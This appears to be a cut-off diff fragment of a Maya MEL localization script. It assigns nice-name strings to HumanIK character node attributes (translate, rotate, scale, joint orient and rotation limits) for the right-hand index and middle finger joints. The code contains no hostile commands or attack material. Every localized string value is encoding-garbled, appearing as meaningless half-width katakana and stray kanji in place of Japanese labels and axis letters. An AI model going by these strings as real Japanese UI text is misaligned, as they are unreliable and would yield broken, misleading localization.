+setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxisx", "モメハヨハウヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxisy", "モメハヨハウヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxisz", "モメハヨハウヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrient", "モメハヨハウヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrientx", "モメハヨハウヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrienty", "モメハヨハウヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrientz", "モメハヨハウヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimit", "モメハヨハウヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitx", "モメハヨハウヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimity", "モメハヨハウヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitz", "モメハヨハウヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimit", "モメハヨハウヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitx", "モメハヨハウヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimity", "モメハヨハウヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitz", "モメハヨハウヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitEnablex", "ニモテモメハヨハウヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitEnabley", "ニモテモメハヨハウヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MinRLimitEnablez", "ニモテモメハヨハウヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitEnablex", "ニモテモメハヨハウヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitEnabley", "ニモテモメハヨハウヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2MaxRLimitEnablez", "ニモテモメハヨハウヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3", "モメハヨハウヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3T", "モメハヨハウヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Tx", "モメハヨハウヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Ty", "モメハヨハウヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Tz", "モメハヨハウヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3R", "モメハヨハウヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Rx", "モメハヨハウヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Ry", "モメハヨハウヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Rz", "モメハヨハウヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3S", "モメハヨハウヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Sx", "モメハヨハウヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Sy", "モメハヨハウヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3Sz", "モメハヨハウヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", "モメハヨハウヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxis", "モメハヨハウヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxisx", "モメハヨハウヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxisy", "モメハヨハウヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3RotateAxisz", "モメハヨハウヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrient", "モメハヨハウヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrientx", "モメハヨハウヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrienty", "モメハヨハウヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3JointOrientz", "モメハヨハウヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimit", "モメハヨハウヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitx", "モメハヨハウヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimity", "モメハヨハウヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitz", "モメハヨハウヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimit", "モメハヨハウヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitx", "モメハヨハウヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimity", "モメハヨハウヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitz", "モメハヨハウヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitEnablex", "ニモテモメハヨハウヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitEnabley", "ニモテモメハヨハウヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MinRLimitEnablez", "ニモテモメハヨハウヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitEnablex", "ニモテモメハヨハウヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitEnabley", "ニモテモメハヨハウヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex3MaxRLimitEnablez", "ニモテモメハヨハウヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4", "モメハヨハウヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4T", "モメハヨハウヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Tx", "モメハヨハウヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Ty", "モメハヨハウヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Tz", "モメハヨハウヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4R", "モメハヨハウヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Rx", "モメハヨハウヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Ry", "モメハヨハウヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Rz", "モメハヨハウヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4S", "モメハヨハウヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Sx", "モメハヨハウヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Sy", "モメハヨハウヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4Sz", "モメハヨハウヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", "モメハヨハウヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxis", "モメハヨハウヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxisx", "モメハヨハウヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxisy", "モメハヨハウヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4RotateAxisz", "モメハヨハウヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrient", "モメハヨハウヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrientx", "モメハヨハウヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrienty", "モメハヨハウヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4JointOrientz", "モメハヨハウヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimit", "モメハヨハウヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitx", "モメハヨハウヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimity", "モメハヨハウヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitz", "モメハヨハウヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimit", "モメハヨハウヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitx", "モメハヨハウヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimity", "モメハヨハウヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitz", "モメハヨハウヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitEnablex", "ニモテモメハヨハウヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitEnabley", "ニモテモメハヨハウヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MinRLimitEnablez", "ニモテモメハヨハウヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitEnablex", "ニモテモメハヨハウヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitEnabley", "ニモテモメハヨハウヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex4MaxRLimitEnablez", "ニモテモメハヨハウヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1", "モメハヨヨミヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1T", "モメハヨヨミヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Tx", "モメハヨヨミヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Ty", "モメハヨヨミヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Tz", "モメハヨヨミヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1R", "モメハヨヨミヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Rx", "モメハヨヨミヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Ry", "モメハヨヨミヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Rz", "モメハヨヨミヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1S", "モメハヨヨミヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Sx", "モメハヨヨミヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Sy", "モメハヨヨミヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1Sz", "モメハヨヨミヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", "モメハヨヨミヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxis", "モメハヨヨミヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxisx", "モメハヨヨミヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxisy", "モメハヨヨミヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1RotateAxisz", "モメハヨヨミヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrient", "モメハヨヨミヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrientx", "モメハヨヨミヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrienty", "モメハヨヨミヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1JointOrientz", "モメハヨヨミヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimit", "モメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitx", "モメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimity", "モメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitz", "モメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimit", "モメハヨヨミヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitx", "モメハヨヨミヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimity", "モメハヨヨミヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitz", "モメハヨヨミヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitEnablex", "ニモテモメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitEnabley", "ニモテモメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MinRLimitEnablez", "ニモテモメハヨヨミヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitEnablex", "ニモテモメハヨヨミヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitEnabley", "ニモテモメハヨヨミヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle1MaxRLimitEnablez", "ニモテモメハヨヨミヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2", "モメハヨヨミヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2T", "モメハヨヨミヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Tx", "モメハヨヨミヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Ty", "モメハヨヨミヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Tz", "モメハヨヨミヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2R", "モメハヨヨミヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Rx", "モメハヨヨミヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Ry", "モメハヨヨミヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Rz", "モメハヨヨミヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2S", "モメハヨヨミヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Sx", "モメハヨヨミヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Sy", "モメハヨヨミヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2Sz", "モメハヨヨミヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", "モメハヨヨミヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxis", "モメハヨヨミヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxisx", "モメハヨヨミヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxisy", "モメハヨヨミヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2RotateAxisz", "モメハヨヨミヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrient", "モメハヨヨミヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrientx", "モメハヨヨミヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrienty", "モメハヨヨミヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2JointOrientz", "モメハヨヨミヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimit", "モメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitx", "モメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimity", "モメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitz", "モメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimit", "モメハヨヨミヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitx", "モメハヨヨミヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimity", "モメハヨヨミヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitz", "モメハヨヨミヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitEnablex", "ニモテモメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitEnabley", "ニモテモメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MinRLimitEnablez", "ニモテモメハヨヨミヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitEnablex", "ニモテモメハヨヨミヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitEnabley", "ニモテモメハヨヨミヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle2MaxRLimitEnablez", "ニモテモメハヨヨミヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3", "モメハヨヨミヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3T", "モメハヨヨミヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Tx", "モメハヨヨミヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Ty", "モメハヨヨミヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Tz", "モメハヨヨミヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3R", "モメハヨヨミヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Rx", "モメハヨヨミヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Ry", "モメハヨヨミヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Rz", "モメハヨヨミヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3S", "モメハヨヨミヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Sx", "モメハヨヨミヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Sy", "モメハヨヨミヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3Sz", "モメハヨヨミヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", "モメハヨヨミヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxis", "モメハヨヨミヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxisx", "モメハヨヨミヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxisy", "モメハヨヨミヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3RotateAxisz", "モメハヨヨミヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrient", "モメハヨヨミヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrientx", "モメハヨヨミヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrienty", "モメハヨヨミヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3JointOrientz", "モメハヨヨミヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimit", "モメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitx", "モメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimity", "モメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitz", "モメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimit", "モメハヨヨミヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitx", "モメハヨヨミヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimity", "モメハヨヨミヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitz", "モメハヨヨミヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitEnablex", "ニモテモメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitEnabley", "ニモテモメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MinRLimitEnablez", "ニモテモメハヨヨミヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitEnablex", "ニモテモメハヨヨミヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitEnabley", "ニモテモメハヨヨミヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle3MaxRLimitEnablez", "ニモテモメハヨヨミヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4", "モメハヨヨミヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4T", "モメハヨヨミヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Tx", "モメハヨヨミヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Ty", "モメハヨヨミヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Tz", "モメハヨヨミヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4R", "モメハヨヨミヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Rx", "モメハヨヨミヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Ry", "モメハヨヨミヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Rz", "モメハヨヨミヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4S", "モメハヨヨミヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Sx", "モメハヨヨミヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Sy", "モメハヨヨミヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4Sz", "モメハヨヨミヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", "モメハヨヨミヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxis", "モメハヨヨミヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", 